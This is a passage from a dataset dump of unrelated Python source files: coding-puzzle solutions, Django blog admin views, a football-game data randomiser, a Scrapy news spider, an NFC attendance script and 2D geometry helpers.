l, r = seg[i]\n ans = max(ans, r - l + 1)\n return ans\n\nprint(Solution().getLongestScene(\"abcda\")) # 5\nprint(Solution().getLongestScene(\"abcab\")) # 5\n","sub_path":"Python/1379-the-longest-scene.py","file_name":"1379-the-longest-scene.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472917249","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom article.models import ArticlePost, ArticleColumn\nfrom article.forms import ArticlePostForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nimport markdown\nfrom comment.models import Comment\n\n# 后台主页\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef home(request):\n # 取出所有博客文章(数据表的属性值)\n article_list = ArticlePost.objects.all()\n # 获取博客文章数据表的所有属性\n article_attrs = ArticlePost._meta.fields\n # 将所有文章放入需要传递给模板的字典中\n context = {'article_attrs': article_attrs, 'article_list': article_list}\n return render(request, 'myadmin/home.html', context) \n\n# 后台查看文章详情\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef article_detail(re, id):\n article = ArticlePost.objects.get(id=id)\n\n article.body = markdown.markdown(article.body,\n extensions=[\n # 包含 缩写、表格等常用扩展\n 'markdown.extensions.extra',\n # 语法高亮扩展\n 'markdown.extensions.codehilite',\n ])\n context = {'article': article}\n return render(re, 'myadmin/article_detail.html', context)\n\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef create(request):\n # 判断用户是否提交数据\n if request.method == \"POST\":\n # 将提交的数据赋值到表单实例中\n article_post_form = ArticlePostForm(data=request.POST)\n # 判断提交的数据是否满足模型的要求\n if article_post_form.is_valid():\n # 保存数据,但暂时不提交到数据库中\n new_article = article_post_form.save(commit=False)\n # 指定登录用户为作者\n new_article.author = User.objects.get(id=request.user.id)\n \n if request.POST['column'] != 'none':\n new_article.column = ArticleColumn.objects.get(id=request.POST['column'])\n \n # 将新文章保存到数据库中\n new_article.save()\n return redirect(\"myadmin:admin_home\")\n \n # 如果数据不合法,返回错误信息\n else:\n context = {'errtxt': '表单内容有误,请重新填写'}\n return render(request, 'myadmin/404.html', context)\n\n # 如果用户请求获取数据\n else:\n # GET请求表示显示空表单\n columns = ArticleColumn.objects.all()\n context = { 'columns': columns }\n return render(request, 'myadmin/create.html', context)\n\n# 文章删除界面\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef delete(d):\n # 取出所有博客文章(数据表的属性值)\n article_list = ArticlePost.objects.all()\n context = {'article_list': article_list}\n return render(d, 'myadmin/delete.html', context)\n\n# 删除某篇文章\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef article_delete(request, id):\n article = ArticlePost.objects.get(id=id)\n article.body = markdown.markdown(article.body,\n extensions=[\n # 包含 缩写、表格等常用扩展\n 'markdown.extensions.extra',\n # 语法高亮扩展\n 'markdown.extensions.codehilite',\n ])\n context = {'article': article}\n return render(request, 'myadmin/delete_article.html', context)\n\n# 安全删除某篇文章\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef article_safe_delete(request, id):\n if request.method == 'POST': \n article = ArticlePost.objects.get(id=id)\n article.delete()\n return redirect(\"myadmin:admin_home\")\n else:\n return HttpResponse(\"仅允许post请求\")\n\n# 文章更新界面 \n# # 检查登录\n@login_required(login_url='/userprofile/login/') \ndef update(u):\n article_list = ArticlePost.objects.all()\n context = {'article_list': article_list}\n return render(u, 'myadmin/update.html', context)\n\n# 更新文章\n# 检查登录\n@login_required(login_url='/userprofile/login/')\ndef article_update(request, id):\n article = ArticlePost.objects.get(id=id)\n if request.method == \"POST\":\n article_post_form = ArticlePostForm(data=request.POST)\n if article_post_form.is_valid():\n article.title = request.POST['title']\n article.body = request.POST['body']\n if request.POST['column'] != 'none':\n article.column = ArticleColumn.objects.get(id=request.POST['column'])\n else:\n article.column = None\n \n article.save()\n # 完成后返回到修改后的文章中。需传入文章的 id 值\n return redirect(\"myadmin:article_detail\", id=id)\n else:\n return HttpResponse(\"表单内容有误,请重新填写。\")\n else:\n columns = ArticleColumn.objects.all()\n # 赋值上下文,将 article 文章对象也传递进去,以便提取旧的内容\n context = { 'article': article, 'columns': columns, }\n # 将响应返回到模板中\n return render(request, 'myadmin/update_article.html', context)\n \n# 数据统计\n@login_required(login_url='/userprofile/login/')\ndef chart(c):\n return render(c, 'myadmin/chart.html')\n\n# 评论管理\n@login_required(login_url='/userprofile/login/')\ndef comment(c):\n comments = Comment.objects.all()\n contxt = {'cmts': comments}\n return render(c, 'myadmin/comment.html', contxt)\n\n# 评论删除\ndef comment_delete(request, id):\n comment = Comment.objects.get(id=id)\n comment.delete()\n return redirect(\"myadmin:comment\")\n","sub_path":"my_blog/myadmin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31632370","text":"from random import randint, choices, uniform, shuffle\nfrom statistics import mean\nfrom faker import Faker\n\nimport collections\n\n# probability weightings for player attributes\nattribute = [randint(1,5), randint(6,9), randint(10,12), randint(13, 14), randint(15, 16), randint(17, 18), 19, 20]\ngarbage = [0.2, 0.3, 0.25, 0.15, 0.05, 0.04, 0.01, 0]\nlow = [0.1, 0.2, 0.25, 0.3, 0.05, 0.05, 0.04, 0.01]\nlowerMid= [0.05, 0.15, 0.2, 0.4, 0.1, 0.05, 0.04, 0.01]\nmid = [0.04, 0.07, 0.2, 0.2, 0.2, 0.2, 0.06, 0.03]\nupperMid = [0.02, 0.05, 0.07, 0.16, 0.3, 0.2, 0.15, 0.05]\ntop = [0.01, 0.04, 0.05, 0.1, 0.2, 0.3, 0.2, 0.1]\nelite = [0, 0.01, 0.09, 0.05, 0.15, 0.2, 0.3, 0.2]\nfree = [0.1, 0.2, 0.2, 0.2, 0.125, 0.1, 0.05, 0.025]\n\n\ndef punterRating(ovr):\n \"\"\"Return appropriate probability weighting list from provided club ovr\"\"\"\n\n if ovr >= 19:\n return elite\n elif ovr >= 17:\n return top\n elif ovr >= 15:\n return upperMid\n elif ovr >= 12:\n return mid\n elif ovr >= 10:\n return lowerMid\n elif ovr >= 7:\n return low\n else:\n return garbage\n \n\ndef playerValue(ovr, handsomeness, potential):\n \"\"\"Determine player value from ovr, handsomeness and potential attributes\"\"\"\n\n # initial value list\n values = [uniform(0.1,0.2), uniform(0.2,0.4), uniform(0.4,0.5), uniform(0.5,0.6), uniform(0.6,0.8), uniform(0.9, 1.2), uniform(1.3, 1.5), uniform(1.6, 2)]\n value = 0\n if ovr > 18:\n value = randint(13,15) + choices(values, punterRating(ovr))[0]\n elif ovr > 16:\n value = randint(8,12) + choices(values, punterRating(ovr))[0]\n elif ovr > 14:\n value = randint(5,8) + choices(values, punterRating(ovr))[0]\n elif ovr > 12:\n value = randint(3,7) + choices(values, punterRating(ovr))[0]\n elif ovr >= 10:\n value = randint(1,3) + choices(values, punterRating(ovr))[0]\n else:\n value = (ovr / 10) + uniform(value * 0.1, value * 0.4)\n if potential > 17:\n value += uniform(value * 0.1, value * 0.2)\n if handsomeness > 17 or handsomeness > ovr + 2:\n value += uniform(value * 0.2, value * 0.4)\n return round((value), 1)\n \n# nationality list\nnations = [\n {\"nationality\": \"English\", \"nat_code\": \"en_GB\", \"flag\": \"eng.svg\"}, \n {\"nationality\": \"Irish\", \"nat_code\": \"en_GB\", \"flag\": \"ire.svg\"}, \n {\"nationality\": \"Scottish\", \"nat_code\": \"en_GB\", \"flag\": \"sco.svg\"}, \n {\"nationality\": \"Welsh\", \"nat_code\": \"en_GB\", \"flag\": \"wal.svg\"}, \n {\"nationality\": \"Japanese\", \"nat_code\": \"ja_JP\", \"flag\": \"jp.svg\"}, \n {\"nationality\": \"Spanish\", \"nat_code\": \"es_ES\", \"flag\": \"es.svg\"}, \n {\"nationality\": \"Brazilian\", \"nat_code\": \"pt_BR\", \"flag\": \"br.svg\"}, \n {\"nationality\": \"Czech\", \"nat_code\": \"cs_CZ\", \"flag\": \"cr.svg\"},\n {\"nationality\": \"German\", \"nat_code\": \"de_DE\", \"flag\": \"de.svg\"},\n {\"nationality\": \"American\", \"nat_code\": \"en_US\", \"flag\": \"us.svg\"},\n {\"nationality\": \"Mexican\", \"nat_code\": \"es_MX\", \"flag\": \"mx.svg\"},\n {\"nationality\": \"French\", \"nat_code\": \"fr_FR\", \"flag\": \"fr.svg\"},\n {\"nationality\": \"Belgian\", \"nat_code\": \"nl_NL\", \"flag\": \"be.svg\"},\n {\"nationality\": \"Portuguese\", \"nat_code\": \"pt_PT\", \"flag\": \"pt.svg\"},\n {\"nationality\": \"Argentinian\", \"nat_code\": \"es_ES\", \"flag\": \"arg.svg\"},\n {\"nationality\": \"Italian\", \"nat_code\": \"it_IT\", \"flag\": \"it.svg\"},\n {\"nationality\": \"Dutch\", \"nat_code\": \"nl_NL\", \"flag\": \"nl.svg\"},\n {\"nationality\": \"Norwegian\", \"nat_code\": \"no_NO\", \"flag\": \"no.svg\"},\n {\"nationality\": \"Swedish\", \"nat_code\": \"sv_SE\", \"flag\": \"sv.svg\"},\n {\"nationality\": \"Polish\", \"nat_code\": \"pl_PL\", \"flag\": \"pl.svg\"},\n {\"nationality\": \"Turkish\", \"nat_code\": \"tr_TR\", \"flag\": \"tr.svg\"},\n {\"nationality\": \"Ghanaian\", \"nat_code\": \"tw_GH\", \"flag\": \"gh.svg\"},\n {\"nationality\": \"Australian\", \"nat_code\": \"en_NZ\", \"flag\": \"aus.svg\"}\n]\n\n# probability weightings for nationalities\nnationWeights = [10, 2, 5, 2, 0.7, 6, 1, 0.5, 5, 0.5, 0.5, 5, 4, 4, 1, 4, 5, 2, 3, 0.5, 0.5, 0.5, 0.5]\n\n\ndef nameFaker(nat_code):\n \"\"\"Return nationality dependent fake name\"\"\"\n\n fake = Faker(nat_code)\n if nat_code == \"ja_JP\": \n name = fake.first_romanized_name() + \" \" + fake.last_romanized_name()\n else:\n name = fake.first_name_male() + \" \" + fake.last_name()\n return name\n\n# initial team dictionary for seeding database\nTeams = {\n \"Merseyside Mawlers\": {\"club_id\": 1, \"rank\": 1, \"primary-color\": \"Crimson\", \"secondary-color\": \"Gold\", \"ovr\": randint(19, 20), \"formation\": \"4-3-3\", \"manager\": nameFaker(\"de_DE\"), \"desc\": \"As efficient as a German car.\", \"attendance\": 0.7, \"capacity\": 54000, \"rival\": 2},\n \"Lannister City\": {\"club_id\": 2, \"rank\": 2, \"primary-color\": \"LightSkyBlue\", \"secondary-color\": \"#1C2C5B\", \"ovr\": randint(19, 20), \"formation\": \"3-5-2\", \"manager\": nameFaker(\"es_ES\"), \"desc\": \"Owned by an oil baron, probably.\", \"attendance\": 0.5, \"capacity\": 56000, \"rival\": 6},\n \"Kensington Gentlemen\": {\"club_id\": 3, \"rank\": 3, \"primary-color\": \"RoyalBlue\", \"secondary-color\": \"white\", \"ovr\": randint(17, 18), \"formation\": \"4-4-2\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Know how to play but don\\'t like to get their shorts dirty.\", \"attendance\": 0.6, \"capacity\": 42000, \"rival\": 5}, \n \"London Hipsters\": {\"club_id\": 4, \"rank\": 4, \"primary-color\": \"FireBrick\", \"secondary-color\": \"Azure\", \"ovr\": randint(16, 17), \"formation\": \"4-3-3\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Have the latest iPhone and know all the best coffee places.\", \"attendance\": 0.5, \"capacity\": 60000, \"rival\": 9},\n \"Celt Crabits\": {\"club_id\": 5, \"rank\": 5, \"primary-color\": \"white\", \"secondary-color\": \"SeaGreen\", \"ovr\": randint(15, 17), \"formation\": \"4-4-2\", \"manager\": nameFaker(\"en_GB\"), \"desc\": \"Gie us a wee swally an haud yer wheesht.\", \"attendance\": 0.7, \"capacity\": 60000, \"rival\": 3},\n \"North United\": {\"club_id\": 6, \"rank\": 6, \"primary-color\": \"#DA291C\", \"secondary-color\": \"black\", \"ovr\": randint(15, 17), \"formation\": \"4-5-1\", \"manager\": nameFaker(\"no_NO\"), \"desc\": \"Used to win everything before having an existential crisis.\", \"attendance\": 0.4, \"capacity\": 76000, \"rival\": 2},\n \"Feral Foxes\": {\"club_id\": 7, \"rank\": 7, \"primary-color\": \"#0053A0\", \"secondary-color\": \"#FDBE11\", \"ovr\": randint(14, 15), \"formation\": \"4-5-1\", \"manager\": nameFaker(\"it_IT\"), \"desc\": \"Were strongly linked to crisps before they rebranded and won the league that time.\", \"attendance\": 0.6, \"capacity\": 32000, \"rival\": 8},\n \"Brummy Howlers\": {\"club_id\": 8, \"rank\": 8, \"primary-color\": \"#FDB913\", \"secondary-color\": \"black\", \"ovr\": randint(12, 15), \"formation\": \"4-3-3\", \"manager\": nameFaker(\"pt_PT\"), \"desc\": \"Cause a few upsets. Mostly Portuguese.\", \"attendance\": 0.5, \"capacity\": 32000, \"rival\": 7},\n \"West Lamb\": {\"club_id\": 9, \"rank\": 9, \"primary-color\": \"#7C2C3b\", \"secondary-color\": \"#2DAFE5\", \"ovr\": randint(12, 15), \"formation\": \"4-4-2\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Try to play expansive football, revert to long balls when it doesn\\'t work.\", \"attendance\": 0.4, \"capacity\": 60000, \"rival\": 4},\n \"North East Stripeys\": {\"club_id\": 10, \"rank\": 10, \"primary-color\": \"black\", \"secondary-color\": \"white\", \"ovr\": randint(12, 14), \"formation\": \"4-5-1\", \"manager\": nameFaker(\"en_GB\"), \"desc\": \"They'd love it if they beat you.\", \"attendance\": 0.6, \"capacity\": 53000, \"rival\": 17},\n \"Yorkshire Flatcaps\": {\"club_id\": 11, \"rank\": 11, \"primary-color\": \"white\", \"secondary-color\": \"#FFCD00\", \"ovr\": randint(11, 12), \"formation\": \"3-5-2\", \"manager\": nameFaker(\"es_ES\"), \"desc\": \"Ey up, we'll bring more cocker.\", \"attendance\": 0.8, \"capacity\": 38000, \"rival\": 6},\n \"Norfolk Budgies\": {\"club_id\": 12, \"rank\": 12, \"primary-color\": \"#fff200\", \"secondary-color\": \"#00A650\", \"ovr\": 12, \"formation\": \"4-4-2\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Where are you? Let\\'s be \\'avin\\' you!\", \"attendance\": 0.5, \"capacity\": 27000, \"rival\": 20},\n \"Rocky Rovers\": {\"club_id\": 13, \"rank\": 13, \"primary-color\": \"#009EE0\", \"secondary-color\": \"white\", \"ovr\": randint(12, 14), \"formation\": \"4-3-3\", \"manager\": \"Tony Mohawk\", \"desc\": \"We won the league once, you know.\", \"attendance\": 0.5, \"capacity\": 32000, \"rival\": 15},\n \"Sherwood Goats\": {\"club_id\": 14, \"rank\": 14, \"primary-color\": \"white\", \"secondary-color\": \"#231F20\", \"ovr\": randint(9, 11), \"formation\": \"4-4-2\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Club with a proud history and an indifferent present.\", \"attendance\": 0.4, \"capacity\": 34000, \"rival\": 16},\n \"Claret Coopers\": {\"club_id\": 15, \"rank\": 15, \"primary-color\": \"#80BFFF\", \"secondary-color\": \"Maroon\", \"ovr\": randint(7, 10), \"formation\": \"4-4-2\", \"manager\": nameFaker(\"en_GB\"), \"desc\": \"Above average height. Manager won\\'t stand for anything fancy.\", \"attendance\": 0.4, \"capacity\": 23000, \"rival\": 13},\n \"Boozy Brewers\": {\"club_id\": 16, \"rank\": 16, \"primary-color\": \"#FDE92B\", \"secondary-color\": \"#231F20\", \"ovr\": randint(6, 11), \"formation\": \"4-5-1\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Love a good pint and smell faintly of marmite.\", \"attendance\": 0.3, \"capacity\": 7000, \"rival\": 14},\n \"Wearside Macks\": {\"club_id\": 17, \"rank\": 17, \"primary-color\": \"#EB172B\", \"secondary-color\": \"#211E1E\", \"ovr\": randint(4, 6), \"formation\": \"4-5-1\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"Things can only get better... Oh, wait.\", \"attendance\": 0.3, \"capacity\": 49000, \"rival\": 11},\n \"Middlebrook Mill\": {\"club_id\": 18, \"rank\": 18, \"primary-color\": \"white\", \"secondary-color\": \"#263C7E\", \"ovr\": randint(2, 5), \"formation\": \"4-3-3\", \"manager\": nameFaker(\"en_GB\"), \"desc\": \"Deeply in debt but struggling on.\", \"attendance\": 0.3, \"capacity\": 29000, \"rival\": 19},\n \"Seaside Satsumas\": {\"club_id\": 19, \"rank\": 19, \"primary-color\": \"#FF5F00\", \"secondary-color\": \"white\", \"ovr\": randint(1, 4), \"formation\": \"4-4-2\", \"manager\": nameFaker(\"en_GB\"), \"desc\": \"The Vegas of the North but without the money or glamour.\", \"attendance\": 0.2, \"capacity\": 17000, \"rival\": 18},\n \"new_user\": {\"club_id\": 20, \"rank\": 20, \"primary-color\": \"#2E86C1\", \"secondary-color\": \"#FFC300\", \"ovr\": randint(14, 15), \"manager\": \"Mr. Noname\", \"formation\": \"4-4-2\", \"desc\": \"Can you transform these plucky underdogs into world beaters?\", \"attendance\": 0.5, \"capacity\": 22000, \"rival\": 12}, \n \"Free Agents\": {\"club_id\": 21, \"rank\": 21, \"primary-color\": \"white\", \"secondary-color\": \"black\", \"ovr\": choices(attribute, free)[0], \"formation\": \"10-10-10\", \"manager\": nameFaker(choices(nations, nationWeights)[0]['nat_code']), \"desc\": \"This player is available on a free.\", \"attendance\": 0, \"capacity\": 0, \"rival\": 0}\n}\n\n\ndef makePlayer(pos, team):\n \"\"\"Create new player for team\"\"\"\n\n player = dict.fromkeys([\"player_id\", \"club_id\", \"clubname\", \"name\", \"nationality\", \"nat_code\", \"flag\", \"pos\"])\n player[\"club_id\"] = Teams[team]['club_id']\n player[\"clubname\"] = team\n nationinfo = choices(nations, nationWeights)[0]\n player[\"nationality\"] = nationinfo['nationality']\n player[\"nat_code\"] = nationinfo['nat_code']\n player[\"name\"] = nameFaker(player['nat_code'])\n player[\"flag\"] = nationinfo['flag']\n player[\"pos\"] = pos\n \n return player\n\n\ndef makeSquad(team):\n \"\"\"Create new 11-player squad for team\"\"\"\n\n # determine no. of players in each position\n formation = Teams[team][\"formation\"].split(\"-\")\n\n # call makePlayer for amount of players required in each position and add to squad\n for pos in range(1):\n gk = makePlayer(\"GK\", team)\n squad.append(gk)\n for pos in range(0, int(formation[0])):\n df = makePlayer(\"DEF\", team)\n squad.append(df)\n for pos in range(0, int(formation[1])):\n md = makePlayer(\"MID\", team)\n squad.append(md)\n for pos in range(0, int(formation[2])):\n at = makePlayer(\"ATT\", team)\n squad.append(at)\n \n return squad\n\n# probability weightings for player ages\nages = [randint(16,19), randint(20, 24), randint(24, 29), randint(30, 33), randint(34, 37), randint(38, 40)]\nageWeights = [0.2, 0.3, 0.35, 0.1, 0.08, 0.02]\n\ndef makeAttr(team):\n \"\"\"Create player attributes\"\"\"\n\n pl_attr = dict.fromkeys([\"player_id\", \"club_id\", \"age\", \"speed\", \"strength\", \"technique\", \"potential\", \"handsomeness\", \"ovr\", \"value\"])\n pl_attr[\"club_id\"] = Teams[team]['club_id']\n pl_attr[\"speed\"] = choices(attribute, punterRating(Teams[team]['ovr']))[0]\n pl_attr[\"strength\"] = choices(attribute, punterRating(Teams[team]['ovr']))[0]\n pl_attr[\"technique\"] = choices(attribute, punterRating(Teams[team]['ovr']))[0]\n pl_attr[\"potential\"] = choices(attribute, punterRating(Teams[team]['ovr']))[0]\n pl_attr[\"handsomeness\"] = choices(attribute, punterRating(Teams[team]['ovr']))[0]\n pl_attr[\"ovr\"] = mean([pl_attr['speed'], pl_attr['strength'], pl_attr['technique'], pl_attr['potential'], pl_attr['handsomeness']]) \n pl_attr[\"value\"] = playerValue(pl_attr['ovr'], pl_attr['handsomeness'], pl_attr['potential'])\n pl_attr[\"age\"] = choices(ages, ageWeights)[0]\n\n return pl_attr\n\ndef roundRobin(teams):\n \"\"\" Create a schedule for the teams in the list and return it\"\"\"\n firstMeet = []\n secondMeet = []\n if len(teams) % 2 == 1: teams = teams + [None]\n # manipulate map instead of list itself\n # takes advantage of even/odd indexes to determine home vs. away\n shuffle(teams)\n n = len(teams)\n map = list(range(n))\n mid = n // 2\n for i in range(n-1):\n l1 = map[:mid]\n l2 = map[mid:]\n l2.reverse()\n r1 = []\n r2 = []\n for j in range(mid):\n t1 = teams[l1[j]]\n t2 = teams[l2[j]]\n if j == 0 and i % 2 == 1:\n # flip the first match only, every other round\n # (this is because the first match always involves the last player in the list)\n r1.append((t2, t1))\n r2.append((t1, t2))\n else:\n r1.append((t1, t2))\n r2.append((t2,t1))\n firstMeet.append(r1)\n secondMeet.append(r2)\n # rotate list by n/2, leaving last element at the end\n map = map[mid:-1] + map[:mid] + map[-1:]\n \n # combine first and second meeting into schedule\n schedule = firstMeet + secondMeet\n\n return schedule\n\n\n","sub_path":"final/champgaffer/app/randomiser.py","file_name":"randomiser.py","file_ext":"py","file_size_in_byte":14444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"53427150","text":"from utils import *\n\ninp = get_input(2020, 5)\n\ndef parse_seat(s):\n lb = 0\n ub = 128\n for c in s[:7]:\n if c == \"B\":\n lb = (lb + ub) / 2\n else:\n ub = (lb + ub) / 2\n\n row = lb\n\n lb = 0\n ub = 8\n for c in s[7:]:\n if c == \"R\":\n lb = (lb + ub) / 2\n else:\n ub = (lb + ub) / 2\n\n col = lb\n\n return (row, col)\n\n\ndef seat_id(row, col):\n return row * 8 + col\n\n\nseats = [parse_seat(s) for s in inp.split(\"\\n\")]\n\nids = [seat_id(row, col) for row, col in seats]\n\nprint(max(ids))\n\nids = sorted(ids)\nfor ix in range(len(ids) - 1):\n if ids[ix+1] != ids[ix] + 1:\n print(ix, ids[ix], ids[ix+1])\n\n","sub_path":"2020/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"255489676","text":"# -*- coding: utf-8 -*-\nfrom scrapy_redis.spiders import RedisSpider\nimport scrapy\nimport datetime\nimport json\nfrom copy import deepcopy\nimport time\nfrom redisscrapy.items import RedisscrapyItem\n\nclass _36krSpider(RedisSpider):\n name = '36krredis'\n allowed_domains = ['36kr.com']\n redis_key = 'a36kr:start_urls'\n content_url = 'https://36kr.com/api/post/{id}/next'\n \n\n def parse(self, response):\n \"\"\"\n 主页查看\n :param response:Response对象\n :return:\n \"\"\"\n result = json.loads(response.text)\n if result.get('data').get('items'):\n time.sleep(1)\n items = result.get('data').get('items')\n itemlist = {}\n for item in items:\n itemlist['url'] = self.content_url.format(id=item.get('id'))\n yield scrapy.Request(\n itemlist['url'],\n callback=self.parse_content,\n meta={'item':deepcopy(itemlist)}\n )\n\n\n def parse_content(self, response):\n time.sleep(1)\n result = json.loads(response.text)\n new_item = RedisscrapyItem()\n if result.get('data'):\n self.logger.debug(result.get('data').get('title'))\n new_item['id'] = result.get('data').get('id')\n new_item['title'] = result.get('data').get('title')\n new_item['summary'] = result.get('data').get('summary')\n new_item['content'] = result.get('data').get('content')\n new_item['userid'] = result.get('data').get('user').get('id')\n new_item['username'] = result.get('data').get('user').get('id')\n yield new_item\n\n","sub_path":"mothom/redisscrapy/redisscrapy/spiders/36krredis.py","file_name":"36krredis.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252312633","text":"'''\n@Author: 27\n@LastEditors: 27\n@Date: 2020-03-09 00:11:00\n@LastEditTime: 2020-03-09 00:39:58\n@FilePath: /Algorithms_Note/algorithms_leetcode/买卖股票的最佳时机.py\n@description: type some description\n'''\n'''\n给定一个数组,它的第 i 个元素是一支给定股票第 i 天的价格。\n如果你最多只允许完成一笔交易(即买入和卖出一支股票),设计一个算法来计算你所能获取的最大利润。\n注意你不能在买入股票前卖出股票。\n示例 1:\n输入: [7,1,5,3,6,4]\n输出: 5\n解释: 在第 2 天(股票价格 = 1)的时候买入,在第 5 天(股票价格 = 6)的时候卖出,最大利润 = 6-1 = 5 。\n 注意利润不能是 7-1 = 6, 因为卖出价格需要大于买入价格。\n示例 2:\n输入: [7,6,4,3,1]\n输出: 0\n解释: 在这种情况下, 没有交易完成, 所以最大利润为 0。\n'''\nclass Solution(object):\n # 超时\n def maxProfit1(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n l = len(prices)\n profit = 0\n for sale in range(l):\n for buy in range(sale):\n tem = prices[sale] - prices[buy]\n if tem > profit:\n profit = tem\n return profit\n # 遍历\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n inf = int(1e9)\n minprice = inf\n maxprofit = 0\n for price in prices:\n maxprofit = max(price - minprice, maxprofit)\n minprice = min(price, minprice)\n return maxprofit\n \n","sub_path":"content/algorithms_leetcode/买卖股票的最佳时机.py","file_name":"买卖股票的最佳时机.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"429360749","text":"import csv_databace\nimport time\nimport os\nimport re\nimport VIOCE\n\ndef get_uid_():\n command = 'python nfctool.py'\n cmd = os.popen(command, 'r', 1).read()\n if 'error' in cmd:\n return False\n else:\n return cmd\ndef get_uid():\n while 1:\n if get_uid_():\n b = str(get_uid_())\n pat1 = re.compile('[a-zA-Z0-9]+')\n a = ''.join(pat1.findall(b))\n break\n else:\n time.sleep(1)\n print('等待卡片')\n continue\n return a\n\n\ndata_bace_shenfen = csv_databace.This_is_Csv_File('身份信息')\ndata_bace_history = csv_databace.This_is_Csv_File('历史记录')\nvioce = VIOCE.VIOCE()\nvioce.get_vioce(content='启动中,请稍后', file_name='wenhou')\nwhile True:\n try:\n card_uid = get_uid()\n youke_name = data_bace_shenfen.search_it(key_word=card_uid, which_line=0, which_get=-1)\n if youke_name:\n vioce.get_vioce(content='{}签到成功'.format(youke_name), file_name='wenhou')\n data_bace_history.add_one([youke_name[0], time.ctime()])\n else:\n os.system('mpg123 zhuce.mp3')\n except:\n print('退出')\n break\n","sub_path":"树莓派打卡/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"474820202","text":"# %% [463. Island Perimeter](https://leetcode.com/problems/island-perimeter/)\nclass Solution:\n def islandPerimeter(self, grid: List[List[int]]) -> int:\n res, n, m = 0, len(grid), len(grid[0])\n for i in range(n):\n for j in range(m):\n if grid[i][j] == 1:\n res += 4\n if j + 1 < m and grid[i][j] == grid[i][j + 1] == 1:\n res -= 2\n if i + 1 < n and grid[i][j] == grid[i + 1][j] == 1:\n res -= 2\n return res\n","sub_path":"codes_/0463_Island_Perimeter.py","file_name":"0463_Island_Perimeter.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"109907416","text":"# Copyright (c) 2010-2018 Manfred Moitzi\n# License: MIT License\nfrom typing import TYPE_CHECKING\nfrom functools import partial\nimport math\nfrom operator import le, ge, lt, gt\nfrom abc import abstractmethod\n\nif TYPE_CHECKING:\n from ezdxf.eztypes import BoundingBox2d, Vertex\n\nHALF_PI = math.pi / 2. # type: float\nTHREE_PI_HALF = 1.5 * math.pi # type: float\nDOUBLE_PI = math.pi * 2. # type: float\n\n\ndef is_close_points(p1: 'Vertex', p2: 'Vertex', abs_tol=1e-12) -> bool:\n \"\"\"\n Returns true if `p1` is very close to `p2`.\n\n Args:\n p1: vertex 1\n p2: vertex 2\n abs_tol: absolute tolerance\n \"\"\"\n if len(p1) != len(p2):\n raise TypeError('incompatible points')\n\n for v1, v2 in zip(p1, p2):\n if not math.isclose(v1, v2, abs_tol=abs_tol):\n return False\n return True\n\n\ndef normalize_angle(angle: float) -> float:\n \"\"\"\n Returns normalized angle between 0 and 2*pi.\n \"\"\"\n angle = math.fmod(angle, DOUBLE_PI)\n if angle < 0:\n angle += DOUBLE_PI\n return angle\n\n\ndef enclosing_angles(angle, start_angle, end_angle, ccw=True, abs_tol=1e-9):\n isclose = partial(math.isclose, abs_tol=abs_tol)\n\n s = normalize_angle(start_angle)\n e = normalize_angle(end_angle)\n a = normalize_angle(angle)\n if isclose(s, e):\n return isclose(s, a)\n\n if s < e:\n r = s < a < e\n else:\n r = not (e < a < s)\n return r if ccw else not r\n\n\ndef left_of_line(point: 'Vertex', p1: 'Vertex', p2: 'Vertex', online=False) -> bool:\n \"\"\"\n True if `point` is \"left of line\" (`p1`, `p2`). Point on the line is \"left of line\" if `online` is True.\n\n \"\"\"\n\n px, py, *_ = point\n p1x, p1y, *_ = p1\n p2x, p2y, *_ = p2\n\n if online:\n lower, greater = le, ge # lower/greater or equal\n else:\n lower, greater = lt, gt # real lower/greater then\n\n # check if p1 and p2 are on the same vertical line\n if math.isclose(p1x, p2x):\n # compute on which side of the line point should be\n should_be_left = p1y < p2y\n return lower(px, p1x) if should_be_left else greater(px, p1y)\n else:\n # get pitch of line\n pitch = (p2y - p1y) / (p2x - p1x)\n # get y-value at points's x-position\n y = pitch * (px - p1x) + p1y\n # compute if point should be above or below the line\n should_be_above = p1x < p2x\n return greater(py, y) if should_be_above else lower(py, y)\n\n\nclass ConstructionTool:\n \"\"\"\n Abstract base class for all 2D construction classes.\n\n \"\"\"\n\n @property\n @abstractmethod\n def bounding_box(self) -> 'BoundingBox2d':\n pass\n\n @abstractmethod\n def 